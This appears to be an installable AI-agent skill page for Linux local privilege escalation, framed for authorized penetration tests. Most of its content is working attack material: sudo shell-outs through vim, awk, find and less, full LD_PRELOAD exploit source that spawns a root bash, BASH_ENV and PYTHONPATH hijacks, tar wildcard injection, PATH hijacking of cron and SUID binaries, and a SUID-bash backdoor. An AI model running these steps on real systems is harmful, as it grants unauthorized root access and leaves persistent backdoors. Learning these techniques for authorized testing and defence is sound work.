Local privilege escalation through sudo rule abuse (GTFOBins, SETENV/LD_PRELOAD/BASH_ENV/PYTHONPATH), SUID/SGID binaries, writable cron jobs and cron PATH hijacking, and wildcard (glob) argument injection against privileged tar/rsync/zip/chown/tcpdump invocations during authorized engagements.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Local privilege escalation through sudo rule abuse (GTFOBins, SETENV/LD_PRELOAD/BASH_ENV/PYTHONPATH), SUID/SGID binaries, writable cron jobs and cron PATH hijacking, and wildcard (glob) argument injection against privileged tar/rsync/zip/chown/tcpdump invocations during authorized engagements.
During authorized local privilege escalation after obtaining an unprivileged shell
When sudo -l reveals NOPASSWD entries, SETENV, or preserved environment variables
When SUID/SGID binaries or root-owned writable scripts are present
When cron/systemd timers run scripts on writable paths or with an unsafe PATH
When a privileged script processes a wildcard (*) over an attacker-writable directory
Critical: Techniques Most Often Missed
Testers run sudo -l, see a binary they don't recognize, and stop. The escalation usually hides in environment handling, relative paths, and wildcard argument injection.
Wildcard / glob argument injection. A privileged tar/rsync/zip/chown/7z/tcpdump * lets you plant filenames that begin with - and become flags.
How to CONFIRM: in the writable dir create --checkpoint=1 and --checkpoint-action=exec=sh shell.sh (tar); after the root job runs, shell.sh executed as root (check your /tmp/pwn marker).
Preserved env vars in sudo.env_keep+=LD_PRELOAD, BASH_ENV, PYTHONPATH, LD_LIBRARY_PATH all yield root code execution.
How to CONFIRM: sudo -l lists the kept var; e.g. sudo LD_PRELOAD=/tmp/pe.so <allowed_cmd> spawns a root bash.
SUID/sudo binary calling a command without an absolute path. Hijack via PATH or an exported bash function.
How to CONFIRM: strings <suid> shows a bare command name (e.g. service); after export PATH=/tmp:$PATH with a trojan, running it gives root.
Root-owned SUID wrapper that runs a writable script. Append to the script, run the wrapper.
How to CONFIRM: ls -l shows the wrapped .sh is writable; appending chmod +s /bin/bash then running the wrapper leaves a SUID bash.
less/vim/awk/find via sudo (GTFOBins shell-out). A "harmless" file-viewer sudo rule shells out.
How to CONFIRM: sudo less /var/log/x then !sh; or sudo vim -c '!sh' returns a root shell.
Cron PATH hijack / writable cron script. A root cron with PATH=/home/user:... or a writable target.
How to CONFIRM: pspy shows the root cron calling a relative binary; planting it in the writable PATH dir runs as root on the next tick.
Workflow
Step 1: Enumerate sudo, SUID, and cron
sudo -l # allowed commands + env_keep/SETENV
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
crontab -l ; ls -al /etc/cron* /etc/at*
cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -v '^#'cat -A /etc/crontab # reveal carriage-return stealth jobs
pspy64 -pf -i 1000 # watch real argv of cron/systemd jobs
Step 2: Abuse sudo Rules (GTFOBins + environment)
# Direct GTFOBins shell-outs from a sudo-allowed binarysudo vim -c '!sh'sudo awk 'BEGIN {system("/bin/sh")}'sudo find /etc -exec sh -i \;
sudo less /var/log/x -> !sh # or :e /etc/shadow to read files# LD_PRELOAD (sudo -l shows env_keep+=LD_PRELOAD)cat > /tmp/pe.c <<'EOF'#include <stdlib.h>
void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
EOF
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so <ALLOWED_CMD>
# BASH_ENV (env_keep+=BASH_ENV) — sourced for non-interactive bashecho'#!/bin/bash' > /dev/shm/x.sh; echo'/bin/bash' >> /dev/shm/x.sh; chmod +x /dev/shm/x.sh
BASH_ENV=/dev/shm/x.sh sudo /usr/bin/some_script
# PYTHONPATH hijack (SETENV: script.sh)sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh # /dev/shm holds a malicious imported module
